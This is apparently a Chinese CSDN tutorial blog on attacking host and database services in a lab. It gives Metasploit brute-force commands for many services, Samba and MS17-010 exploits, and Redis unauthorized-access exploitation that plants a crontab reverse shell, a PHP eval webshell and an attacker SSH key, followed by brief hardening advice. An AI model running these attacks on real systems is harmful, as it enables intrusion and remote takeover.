主机与数据库安全

主机与数据库安全

<span style="color:red;">红色</span>

学习目标

章节 学习目标
主机共享端口及漏洞利用/检测 掌握FTP服务的爆破方式
掌握sambs服务的爆破方式
主机远程连接端口及漏洞利用/检测 掌握SSH服务的爆破方式
掌握Telnet服务的爆破方式
掌握RDP服务的爆破方式
数据库服务端口及漏洞利用/检测 了解数据库间的差异
掌握MySql数据库的暴力破解
掌握Postgresql数据库的暴力破解
掌握mongodb数据库的暴力破解
掌握redis服务未授权访问方式及Getshell

主机共享端口及漏洞检测/利用

FTP暴力破解

ftp的爆破工具有很多,常见的暴力破解工具有hydra、medusa、超级弱口令爆破工具等,推荐使用msf中的ftp模块、超级弱口令爆破工具
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.109.134
set USER_FILE /home/dic/dic_username_ftp.txt
set PASS_FILE /home/dic/dic_password_ftp.txt
set THREADS 30
run

Samba暴力破解

默认端口:137、135、139、445等
Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点; 

samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。

默认端口:445
SMB(Server Message Block) Windows协议族,用于文件和打印共享服务。
msf > use auxiliary/scanner/smb/smb_login(使用smb_login模块)msf auxiliary(smb_login) > 
show options(查看选项)
msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目标)
msf auxiliary(ssmb_login) > set USER_FILE/root/username.txt(用户名字典,或指定用户)
msf auxiliary(ssmb_login) > set PASS_FILE/root/pass.txt(密码字典文件)
msf auxiliary(ssmb_login) > exploit(开始)

Samba远程代码执行(CVE-2017-7494)

使用Msfploit攻击
exploit/linux/samba/is_known_pipename
set RHOST 192.168.109.134
exploit

Samba永痕之蓝漏洞

使用msf检测
use auxiliary/scanner/smb/smb_ms17_010
set rhosts10.0.0.1-10.0.0.254
set rport 445
exploit

主机远程连接端口及漏洞利用/检测

SSH暴力破解

测试工具:hydra、metasploit、超级弱口令检查工具

use auxiliary/scanner/ssh/ssh_logins
et RHOSTS 10.10.10.254
set USER_FILE /root/user.txt
set PASS_FILE /root/words.txt
set THREADS 30
run

Telnet暴力破解

检测工具:hydra、超级弱口令检查工具、mestaploitMestaploit使用
msf > use auxiliary/scanner/teInet/teInet_login(使用telnet login模块)
msf auxiliary(telnet_login) > show options(查看选项)
msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目标)
msf auxiliary(telnet_login) > set USER_FILE/root/username.txt(用户名字典,或指定用户)
msf auxiliary(telnet_login) > set PASS_FILE(/root/pass.txt(密码字典文件)
msf auxiliary(telnet_login) > exploit (开始)

RDP暴力破解

工具: hydra、超级弱口令爆破工具	,御剑RDP爆破工具

hydra ip rdp -l administrator -P pass.txt -V
这里推荐使用御剑RDP爆破工具

数据库服务端口及漏洞利用/检测

常见数据库连接工具

Navicat		https://www.navicat.com.cn/	
phpMyAdmin	https://www.phpmyadmin.net/
sqlyog		https://webyog.com/product/sqlyog/
DBeaver		https://dbeaver.io/

数据库密码存放位置

数据库名 密码存放位置 默认用户名/密码
MySql mysql.user root /空
SQL Server sys.syslnklgns sa /sa
Oracle SYS.dba_users internal /oracle
system /manager
sys /change_on_install
Postgresql Postgresql.pg_shadow Postgresql /空

数据库差异

MSSQL MYSQL Oracle
sa root sys / system
1433 3306 1521
Windows Windows/Linux Windows/Linux
高权限 低权限 高权限

Mysql暴力破解

默认端口:3306
工具:hydra、超级弱口令爆破工具、mestasploit
mestasploit
msf > use auxiliary/scanner/mysql/mysql_login(使用mysql_login模块)
msf auxiliary(mysql_login) > show options(查看选项)
msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目标)
msf auxiliary(mysql_login) > set USERNAME root(指定用户)
msf auxiliary(mysql_login) > set PASS_FILE/root/pass.txt(密码字典文件)
msf auxiliary(mysql login) > exploit(开始)

MSSQL(sqlserver)暴力破解

默认端口:1433
工具:hydra、超级弱口令爆破工具、metasploit
mestasploit
msf > use auxiliary/scanner/mssql/mssql_login(使用mssql_login模块)
msf auxiliary(mssql_login) > show options(查看选项)
msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目标)
msf auxiliary(mssql_login) > set USER FILE/root/username.txt(用户名字典)
msf auxiliary(mssql_login) >set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(mssql_login) > exploit(开始)

MSF 爆破Oracle

默认端口:1521
Oracle爆破前得需要获取到目标的SID才可以进入下一步爆破的步骤
msf6 > use auxiliary/scanner/oracle/sid_brute
msf6 auxiliary(scanner/oracle/sid_brute) > set rhosts 10.20.24.244
msf6 auxiliary(scanner/oracle/sid_brute) > set threads 10
msf6 auxiliary(scanner/oracle/sid_brute) > run

MSF爆破Oracle 口令
msf6 > use auxiliary/scanner/oracle/oracle_login
msf6 auxiliary(scanner/oracle/oracle_login) > set rhosts 10.20.24.244
msf6 auxiliary(scanner/oracle/oracle_login) > set rports 1521
msf6 auxiliary(scanner/oracle/oracle_login) > set sid helowin  //上述爆破出的SID
msf6 auxiliary(scanner/oracle/oracle_login) > set threads 10
msf6 auxiliary(scanner/oracle/oracle_login) > run

Postgresql-暴力破解

默认端口:5432
测试工具:hydra、超级弱口令爆破工具、metasploit
Mestasploit
msf > use auxiliary/scanner/postgres/postgres_login(使用postgres_login模块)
msf auxiliary(postgres_login) > show options(查看选项)
msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目标)
msf auxiliary(postgres_login) > set USER_FILE/root/username.txt(用户名字典)
msf auxiliary(postgres_login) >set PASS_FILE/root/pass.txt(密码字典文件)
msf auxiliary(postgres login) > exploit(开始)

mongodb-未授权访问

MongoDB默认端口27017,当配置成无验证时,存在未授权访问,
使用msf中的
scanner/mongodb/mongodb_login模块进行测试,使用navicat连接获取数据库中的内容。

use auxiliary/scanner/mongodb/mongodb_login
set rhosts 192.168.90.0/24
msf auxiliary
set threads 10
exploit

redis服务

安装redis服务
下载地址:https://github.com/microsoftarchive/redis/releases
下载完成后切换到安装目录直接启动redis
redis-server.exe redis.windows.conf
启动完成后当前cmd窗口不要关闭
再打开一个窗口运行如下命令连接redis
redis-cli.exe -h 127.0.0.1 -p 6379

Linux下安装redis
yum install gcc-c++
sudo yum install tcl
下载:
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar zxvf redis-5.0.5.tar.gz
cd redis-5.0.5/src
make

启动redis服务
cd src
./redis-server

#测试客户端程序
./redis-cli -h 127.0.0.1 -p 6379
SET y "Linux Redis is Running"
GET y
输出 "Linux Redis is Running"
Ubuntu安装redis服务
sudo apt-get update
sudo apt-get install redis-server
redis-server
redis-cli

步骤和上述Linux一样,只不过命令不一样而已
搭建redis漏洞环境
踩坑处,修改redis-conf下的配置文件如下
# bind 127.0.0.1
protected-mode no
daemonize no
设置完成后我是直接重启redis服务,实际上一点用没有,要对配置文件进行重启
redis-server redis.conf //这里就是将配置问价和redis服务一块运行,不能结束该进程。
至此环境搭建成功
反弹shell的三种方式

实验环境

kali攻击机 Centos7靶机
192.168.1.20 192.168.1.41
设置crontab定时任务
前提条件,要有写计划任务的权限,且写的计划任务能够被正常执行

攻击机去连接靶机的redis服务

redis-cli -h 192.168.1.41 -p 6379
看到如下信息说明连接成功

在这里插入图片描述

攻击机开启nc监听
nc -lvnp 8888

在这里插入图片描述

攻击机写如下shell
192.168.1.41:6379>	set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.20/8888 0>&1\n"
192.168.1.41:6379>	config set dir /var/spool/cron/     //设置工作目录
192.168.1.41:6379>	config set dbfilename root	//设置文件名,当前用户叫啥就得命名为啥,当前用户为root
192.168.1.41:6379>	save

在这里插入图片描述

最后查看nc监听结果

在这里插入图片描述

成功反弹shell,这里我利用ubuntu机器做靶机没有做成功,shell一直弹不回来不知道啥原因,所以我用了Centos。
利用redis写shell
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

实验环境

kali-vps攻击机 kali-2021靶机
192.168.1.20 192.168.1.32
由于要往靶机写入webshell,直接利用kali开启内置的apache服务即可
实验步骤
kali-vps去连接靶机kali-2021的redis服务

在这里插入图片描述

直接将shell写入默认的网站路径下
192.168.1.32:6379>	config set dir /var/www/html
192.168.1.32:6379>	config set dbfilename webshell.php
192.168.1.32:6379>	set xxx  "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
192.168.1.32:6379>	save
或者如下(验证那个xxx啥意思)
192.168.1.32:6379>	config set dir /var/www/html
192.168.1.32:6379>	config set dbfilename webshell2.php
192.168.1.32:6379>	set webshell2  "\n\n\n<?php @eval($_POST['webshell2']);?>\n\n\n"
192.168.1.32:6379>	save

在这里插入图片描述

然后输入webshell的地址,利用中国蚁剑成功getshell
\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

在这里插入图片描述


写入SSH公钥免密登录
利用前提:Redis服务在靶机以root身份运行
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

免密登录原理解析:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

实验环境

攻击机kali-vps 靶机kali-2021
192.168.1.20 192.168.1.32
攻击者机器上生成一个公钥
ssh-keygen
cat id_rsa.pub

在这里插入图片描述

redis写入公钥,(dbfilename名不可以修改,只能为 authorized_keys)

192.168.1.32:6379>	config set dir /root/.ssh/	(目标机器要有此文件件,否则不行。mkdir /root/.ssh)
192.168.1.32:6379>	config set dbfilename authorized_keys
192.168.1.32:6379>	set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYNRrsgPTcCkiQU1gUIYWTFk55QF92DWTIpEt7luru+Qf+87dNkvWzMih2TchixIgzOxdkdx9jl44N0WARa3ow764vKK8xjNYI22knBhASHZSVEAAnl4RBBTw9/qxeGWg2Ayhl1te3Sxm0ZIgIes+RMIqZJOSd4gE6PxUDmeiGLVDWmawcy2bf8MPMgKNqneOlvS3im0DNtHamaEgFYZ7VhtqcGDEI1RfrChGDiltS25cax8oTNZjqVe4SwQgimSlpJhMwz4aP0H+hCIQwEZw2nsxjuapFyrkouzBAw+S7/6TaHGT+VtW3onXpM79hWIj+PD9yUt6A5xGshtncORkfHB07tYd2qwPgABdyq/oyh3qXiFg42VTqbDkU9gnZ6NkF22Q33d0XruBH8eYjJfJ7aJvTkIXXS2lNI6s5KKspZ5R1nphOKcoc60xhUGPipZTsnyj17Ex0mZwpW7VTOQduzF1CFZeb5fUzNVb0q4W1ijnw7/vAjAVYQhRoHtRlL2k= root@kali \n\n"
192.168.1.32:6379>	save

在这里插入图片描述

上传成功后直接利用公钥登录即可
ssh -i id_rsa [email protected]
无需输入密码

在这里插入图片描述


修复方案
绑定IP白名单
将127.0.0.1修改为你想要登录的redis服务器的地址。启动的时候需要带上配置文件一块启动redis-server redis.conf

开启保护模式,不允许远程连接redis服务将no 改为yes
protected-mode no

修改默认端口

在这里插入图片描述

设置密码,提供远程登录
打开redis.conf配置文件,找到requirepass,然后修改如下:
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
redis-暴力破解
use auxiliary/scanner/redis/redis_login
set RHOST 192.168.1.20
用户名密码端口啥的

叮咚
萌新小白写的博客,有错误还请大家指出,互相学习,共同进步。

Guess you like

Origin blog.csdn.net/qq_43590351/article/details/119975810